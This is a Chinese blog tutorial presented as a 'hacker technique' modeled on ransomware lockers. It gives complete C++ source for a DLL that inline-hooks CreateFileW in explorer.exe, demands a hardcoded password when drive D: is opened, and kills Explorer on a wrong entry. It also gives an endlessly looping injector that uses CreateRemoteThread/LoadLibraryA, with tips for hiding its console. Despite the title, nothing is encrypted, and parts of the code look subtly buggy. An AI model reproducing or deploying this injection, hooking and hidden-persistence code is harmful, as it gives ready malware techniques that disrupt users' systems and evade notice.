黑客技术之加密你的磁盘
Posted 17岁boy想当攻城狮
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了黑客技术之加密你的磁盘相关的知识,希望对你有一定的参考价值。
目录
最近看电影时看到一段:黑客入侵计算机的场景,当黑客打开某个特定的磁盘/文件夹时 会弹出一个黑色的CUI程序,要求使用者输入密码,觉得这个功能很col,非常类似之前很流行的木马,一些木马加密用户的文件夹,索要比特币,或者其它钱财,才能解锁。于是本来就是Windows开发出身的我,心血来潮的去实现了这个功能。
1.必备技术
建议阅读本篇文章之前,可以把我之前写的几篇文章阅读以下,如果你对HOOK技术有很深的底功那么可以略过。
- HOOK理论知识(https://blog.csdn.net/bjbz_cxy/article/details/80774803)
- APIHOOK(https://blog.csdn.net/bjbz_cxy/article/details/90574824)
- Dll编程(https://blog.csdn.net/bjbz_cxy/article/details/80569154)
2.技术要点
1.Windows下应用层所有的GUI磁盘操作都是由一个名为:explorer(Windows 资源管理器)的程序管理的
2.explorer在对磁盘进行访问与操作的时候,使用的是“CreateFile” API来对磁盘进行IO操作
3.CreateFile
函数名:CreateFile
存在于:kernel32.dll
函数介绍:Windows下应用层对文件/IO设备进行操作的API函数,使用时会创建一个唯一句柄,与IO设备关联,相当于钥匙
函数原型:
HANDLE CreateFile(LPCTSTR lpFileName, //普通文件名或者设备文件名
DWORD dwDesiredAccess, //访问模式(写/读)
DWORD dwShareMode, //共享模式
LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全属性的指针
DWORD dwCreationDisposition, //如何创建
DWORD dwFlagsAndAttributes, //文件属性
HANDLE hTemplateFile //用于复制文件句柄
);
参数介绍:
lpFileName String要打开的文件的名或设备名。这个字符串的最大长度在ANSI版本中为MAX_PATH,在unicode版本中为32767。
dwDesiredAccess指定类型的访问对象。如果为 GENERIC_READ 表示允许对设备进行读访问;如果为 GENERIC_WRITE 表示允许对设备进行写访问(可组合使用);如果为零,表示只允许获取与一个设备有关的信息 。
另外,还可以指定下面的控制标志:
标准控制权限(16-23位掩码):
DELETE 删除对象的权限。
READ_CONTROL 从对象的安全描述符中读取信息的权限,但不包括SACL(系统访问控制列表)中的信息。
WRITE_DAC 修改对象安全描述符中的DACL(随机访问控制列表)的权限
WRITE_OWNER 修改对象安全描述符中的属主的权限
SYNCHRONIZE 同步化使用对象的权限,即可以创建一个线程等待信号量释放(但有些对象不支持这个权限)。
STANDARD_RIGHTS_REQUIRED 等价于前面四种权限的总合(通常这四种是必须具有的权限)。
STANDARD_RIGHTS_READ 一般等价于READ_CONTROL
STANDARD_RIGHTS_WRITE 一般等价于READ_CONTROL
STANDARD_RIGHTS_EXECUTE 一般等价于READ_CONTROL
STANDARD_RIGHTS_ALL 等价于前面五种权限的总合。
特殊控制权限(0-15位掩码):
SPECIFIC_RIGHTS_ALL
ACCESS_SYSTEM_SECURITY
MAXIMUM_ALLOWED
GENERIC_READ
GENERIC_WRITE
GENERIC_EXECUTE
GENERIC_ALL
注:实质上是通过ACCESS_MASK结构体的一个双字值来设置标准权限、特殊权限和一般权限的。
dwShareModeLong, 如果是零表示不共享; 如果是FILE_SHARE_DELETE表示随后打开操作对象会成功,但只有删除访问请求的权限;如果是FILE_SHARE_READ随后打开操作对象会成功只有请求读访问的权限;如果是FILE_SHARE_WRITE 随后打开操作对象会成功,但只有请求写访问的权限。
lpSecurityAttributesSECURITY_ATTRIBUTES, 指向一个SECURITY_ATTRIBUTES结构的指针,定义了文件的安全特性(如果操作系统支持的话)
dwCreationDispositionLong,下述常数之一:
CREATE_NEW 创建文件;如文件存在则会出错
CREATE_ALWAYS 创建文件,会改写前一个文件
OPEN_EXISTING 文件必须已经存在。由设备提出要求
OPEN_ALWAYS 如文件不存在则创建它
TRUNCATE_EXISTING 将现有文件缩短为零长度
dwFlagsAndAttributesLong, 一个或多个下述常数
FILE_ATTRIBUTE_ARCHIVE 标记归档属性
FILE_ATTRIBUTE_COMPRESSED 将文件标记为已压缩,或者标记为文件在目录中的默认压缩方式
FILE_ATTRIBUTE_NORMAL 默认属性
FILE_ATTRIBUTE_HIDDEN 隐藏文件或目录
FILE_ATTRIBUTE_READONLY 文件为只读
FILE_ATTRIBUTE_SYSTEM 文件为系统文件
FILE_FLAG_WRITE_THROUGH 操作系统不得推迟对文件的写操作
FILE_FLAG_OVERLAPPED 允许对文件进行重叠操作
FILE_FLAG_NO_BUFFERING 禁止对文件进行缓冲处理。文件只能写入磁盘卷的扇区块
FILE_FLAG_RANDOM_ACCESS 针对随机访问对文件缓冲进行优化
FILE_FLAG_SEQUENTIAL_SCAN 针对连续访问对文件缓冲进行优化
FILE_FLAG_DELETE_ON_CLOSE 关闭了上一次打开的句柄后,将文件删除。特别适合临时文件
也可在Windows NT下组合使用下述常数标记:
SECURITY_ANONYMOUS, SECURITY_IDENTIFICATION, SECURITY_IMPERSONATION, SECURITY_DELEGATION, SECURITY_CONTEXT_TRACKING, SECURITY_EFFECTIVE_ONLY
hTemplateFile,hTemplateFile为一个文件或设备句柄,表示按这个参数给出的句柄为模板创建文件(就是将该句柄文件拷贝到lpFileName指定的路径,然后再打开)。它将指定该文件的属性扩展到新创建的文件上面,这个参数可用于将某个新文件的属性设置成与现有文件一样,并且这样会忽略dwAttrsAndFlags。通常这个参数设置为NULL,为空表示不使用模板,一般为空。
返回值:成功返回一个HANDLE类型的句柄,失败返回0,并设置对应的出错码
4.准备工作
通过上面的知识点,我们可以得知:
- Windows下应用层的所有GUI对磁盘操作都是由explorer(资源管理器)来完成的。
- explorer所使用的API为CreateFile
- CreateFile存在于kernel32.dll中
那么我们只需要通过APIHOOK,入侵explorer,然后HOOK CreateFile这个API,然后在通过CreateFIle的第一个参数来判断文件夹是否是我们所需要读写的文件夹,如果是则调出加密程序,否则则让CreateFile正常工作。
5. 编写HOOK API的DLL文件
1.编写Hook类
这段代码可以参考我之前写的关于API Hook的技术点,这里就不重复讲解了,不然文章就重了。
class MyHookClass {
public:
MyHookClass()
{
m_pfnOld = nullptr;
ZeroMemory(m_bNewBytes, 5);
ZeroMemory(m_bOldBytes, 5);
}
~MyHookClass()
{
UnHook();
}
BOOL Hook(char* szModuleName/*模块名*/, char* szFuncName/*函数名*/, PROC pHookFunc/*新的函数地址*/)
{
m_pfnOld = GetProcAddress(GetModuleHandleA(szModuleName), szFuncName);
if (!m_pfnOld)
{
return FALSE;
}
SIZE_T dwNum = 0;
ReadProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
m_bNewBytes[0] = '\\xe9';
*(SIZE_T*)(m_bNewBytes + 1) = (SIZE_T)pHookFunc - (SIZE_T)m_pfnOld - 5;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
return TRUE;
}
//复原
void UnHook()
{
if (m_pfnOld != nullptr)
{
SIZE_T dwNum = 0;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
}
}
//重置
bool ReHook()
{
if (m_pfnOld != nullptr)
{
SIZE_T dwNum = 0;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
return FALSE;
}
return TRUE;
}
private:
PROC m_pfnOld;//原API函数地址
BYTE m_bOldBytes[5];//原api前5个字节的跳转地址
BYTE m_bNewBytes[5];//新的跳转地址
};
2.编写一个自己的CreateFile
因为我们要Hook API,所以需要替换一个自己的CreateFile
先声明HOOK类,用于HOOK
MyHookClass g_MsgHook;
自己的CreateFile
这里我用到了AllocConsole,因为不是CUI进程,所以我们需要额外扩展一个终端出来,要求用户输入密码
代码注释非常清楚,有不懂的地方可以在下方留言
HANDLE WINAPI MyCreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
) {
//声明返回句柄
HANDLE hand;
//锁定磁盘,注意这里打开盘符的路径是“\\\\.\\D:”
LPCTSTR lpStr1 = _T("\\\\\\\\.\\\\D:");
//因为是LPCTSTR类型,所以我们用cstring类型格式化在比对
CString str1(lpStr1);
CString str2(lpFileName);
//调用StrCmp来比对
if (StrCmp(str1, str2) == 0) {
//申请控制台
AllocConsole();
//读写权限
freopen("CONOUT$", "w+t", stdout);
freopen("CONIN", "r+t", stdin);
wprintf(L"Please input a password:");
//密码缓存
TCHAR Buffer[100]; //开缓存
memset(Buffer, 0, 100);
DWORD dwCount = 0;//已输入数
//这里我们不能使用scanf,必须使用ReadConsole,因为申请的控制台是一个独立的console,这个console的INPUT不是标准的stdin,所以scanf不能访问读缓冲区的
//获取input的句柄
HANDLE hdlRead = GetStdHandle(STD_INPUT_HANDLE);
//读取asci码,否则双字节无法匹配
ReadConsoleA(hdlRead, Buffer, 100, &dwCount, NULL);
//判断是否相等
if (_tcscmp(Buffer, L"helloword") == 0) {
//相等的情况下恢复API钩子
g_MsgHook.UnHook();
//调用原函数
hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
//在此Hook成我们自己的,如果不这样下次就进不来了
g_MsgHook.ReHook();
//返回句柄
return hand;
}
else {//不相等直接打印并死掉
wprintf(L"Password error");
//这里我们必须调用exit,因为如果CreateFileW失败资源管理器会尝试别的函数,如果我们hook所有的函数,都不让他成功的话,资源管理器会自动重启。
//所以这里我们索性直接退出,因为已经嵌入到资源管理器里了,所以使用exit可以直接杀死父进程
exit(0);
}
}
else {
//如果不是目标盘则调用原函数
g_MsgHook.UnHook();
hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
g_MsgHook.ReHook();
return hand;
}
return hand;
}
最后的dll main函数里就是在最开始注入HOOK
在DLLPROCESS_ATTACH,当动态库第一次被加载到进程里时的消息里调用HOOK函数,这里我HOOK的是CreateFileW,因为我的系统是Windows10,Windows10在开发程序时使用的是unicode(32)编码,所以HOOK在后面有W的
win7以下和XP是ANSI编码,使用的是CreateFileA
这是个小细节请注意
同时我们的DLL要编译成64位,因为资源管理器是64位程序。
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char szModuleName[MAXBYTE] = { 0 };//"user32.dll";
char szFuncName[MAXBYTE] = { 0 };// "MessageBoxW";
strcpy_s(szModuleName, MAXBYTE, "Kernel32.dll");
strcpy_s(szFuncName, MAXBYTE, "CreateFileW");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_MsgHook.Hook(szModuleName, szFuncName, (PROC)MyCreateFile);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
完整代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#define _CRT_SECURE_NO_WARNINGS
#include "pch.h"
#include <stdio.h>
#include <atlstr.h>
#include<iostream>
using namespace std;
//api hook class
class MyHookClass {
public:
MyHookClass()
{
m_pfnOld = nullptr;
ZeroMemory(m_bNewBytes, 5);
ZeroMemory(m_bOldBytes, 5);
}
~MyHookClass()
{
UnHook();
}
BOOL Hook(char* szModuleName/*模块名*/, char* szFuncName/*函数名*/, PROC pHookFunc/*新的函数地址*/)
{
m_pfnOld = GetProcAddress(GetModuleHandleA(szModuleName), szFuncName);
if (!m_pfnOld)
{
return FALSE;
}
SIZE_T dwNum = 0;
ReadProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
m_bNewBytes[0] = '\\xe9';
*(SIZE_T*)(m_bNewBytes + 1) = (SIZE_T)pHookFunc - (SIZE_T)m_pfnOld - 5;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
return TRUE;
}
//复原
void UnHook()
{
if (m_pfnOld != nullptr)
{
SIZE_T dwNum = 0;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
}
}
//重置
bool ReHook()
{
if (m_pfnOld != nullptr)
{
SIZE_T dwNum = 0;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
return FALSE;
}
return TRUE;
}
private:
PROC m_pfnOld;//原API函数地址
BYTE m_bOldBytes[5];//原api前5个字节的跳转地址
BYTE m_bNewBytes[5];//新的跳转地址
};
MyHookClass g_MsgHook;
HANDLE WINAPI MyCreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
) {
//声明返回句柄
HANDLE hand;
//锁定磁盘,注意这里打开盘符的路径是“\\\\.\\D:”
LPCTSTR lpStr1 = _T("\\\\\\\\.\\\\D:");
//因为是LPCTSTR类型,所以我们用cstring类型格式化在比对
CString str1(lpStr1);
CString str2(lpFileName);
//调用StrCmp来比对
if (StrCmp(str1, str2) == 0) {
//申请控制台
AllocConsole();
//读写权限
freopen("CONOUT$", "w+t", stdout);
freopen("CONIN", "r+t", stdin);
wprintf(L"Please input a password:");
//密码缓存
TCHAR Buffer[100]; //开缓存
memset(Buffer, 0, 100);
DWORD dwCount = 0;//已输入数
//这里我们不能使用scanf,必须使用ReadConsole,因为申请的控制台是一个独立的console,这个console的INPUT不是标准的stdin,所以scanf不能访问读缓冲区的
//获取input的句柄
HANDLE hdlRead = GetStdHandle(STD_INPUT_HANDLE);
//读取asci码,否则双字节无法匹配
ReadConsoleA(hdlRead, Buffer, 100, &dwCount, NULL);
//判断是否相等
if (_tcscmp(Buffer, L"helloword") == 0) {
//相等的情况下恢复API钩子
g_MsgHook.UnHook();
//调用原函数
hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
//在此Hook成我们自己的,如果不这样下次就进不来了
g_MsgHook.ReHook();
//返回句柄
return hand;
}
else {//不相等直接打印并死掉
wprintf(L"Password error");
//这里我们必须调用exit,因为如果CreateFileW失败资源管理器会尝试别的函数,如果我们hook所有的函数,都不让他成功的话,资源管理器会自动重启。
//所以这里我们索性直接退出,因为已经嵌入到资源管理器里了,所以使用exit可以直接杀死父进程
exit(0);
}
}
else {
//如果不是目标盘则调用原函数
g_MsgHook.UnHook();
hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
g_MsgHook.ReHook();
return hand;
}
return hand;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char szModuleName[MAXBYTE] = { 0 };//"user32.dll";
char szFuncName[MAXBYTE] = { 0 };// "MessageBoxW";
strcpy_s(szModuleName, MAXBYTE, "Kernel32.dll");
strcpy_s(szFuncName, MAXBYTE, "CreateFileW");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_MsgHook.Hook(szModuleName, szFuncName, (PROC)MyCreateFile);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
6.注入 Explorer
写完dll后就要写注入程序
因为ALS地址随机化与内存保护的原因我们在Hook之前需要注入到Explorer的进程空间里去。
以下注入过程与实践方法可以参考我之前写的这篇:https://blog.csdn.net/bjbz_cxy/article/details/80774803
这里我们要循环注入,因为上面说过,exit会结束掉进程,而进程死掉以后,我们的动态库会随着卸载,所以我们要写一个守护进程一直默默的写入
这个库的思路就是先判断资源管理器是否存在,存在则写入,然后设置条件变量,不在写入,当资源管理器发生重启后(与dll里的exit代码结合)在重新写入
#include <iostream>
#include<windows.h>
#define DESK "C:\\\\Users\\\\stephen zhou\\\\source\\\\repos\\\\Dll1\\\\x64\\\\Debug\\\\Dll1.dll"
int main()
{
const DWORD THREADSIZE = 1024 * 4;
HANDLE pRemoteThread, hRemoteProcess;
PTHREAD_START_ROUTINE pfnAddr;
DWORD pId;
void* pFileRemote;
bool sign = false;
while (1) {
HWND hWinPro = ::FindWindow(L"ProgMan", NULL);
if (!hWinPro) {
sign = false;
}
if (sign == false) {
if (hWinPro){
::GetWindowThreadProcessId(hWinPro, &pId); //获得explorer句柄
hRemoteProcess = ::OpenProcess(PROCESS_ALL_ACCESS, false, pId);
pFileRemote = ::VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!::WriteProcessMemory(hRemoteProcess, pFileRemote, DESK, THREADSIZE, NULL))
return 0;
pfnAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
pRemoteThread = ::CreateRemoteThread(hRemoteProcess, NULL, 0, pfnAddr, pFileRemote, 0, NULL);
sign = true;
}
}
}
return 0;
}
效果:
但是如果守护进程一直显示窗口很容易被杀掉,如果我们想隐藏控制台只需要加上这条指令:
#pragma comment( linker, "/subsystem:\\"windows\\" /entry:\\"mainCRTStartup\\"")
/subsystem:\\"windows\\"
链接成windows程序(winmain函数那种)baidu
/entry:\\"mainCRTStartup\\"
入口函数是mainCRTStartup
意思是链接成Windows窗口程序,启动时Windows就不会去帮我们调用cmd窗口去执行我们的程序了,但是我们的程序没有GUI,所以没有界面。
注意这种方法如果在vsIde环境下运行是无效的,我们需要编译好后到目录下打开。
还有一种方法是API
HWND hwnd;
SetConsoleTitle("hello")
hwnd=FindWindow("ConsoleWindowClass","hello"); //处理顶级窗口的类名和窗口名称匹配指定的字符串,不搜索子窗口。
if(hwnd)
{
ShowWindow(hwnd,SW_HIDE); //设置指定窗口的显示状态
}
以上是关于黑客技术之加密你的磁盘的主要内容,如果未能解决你的问题,请参考以下文章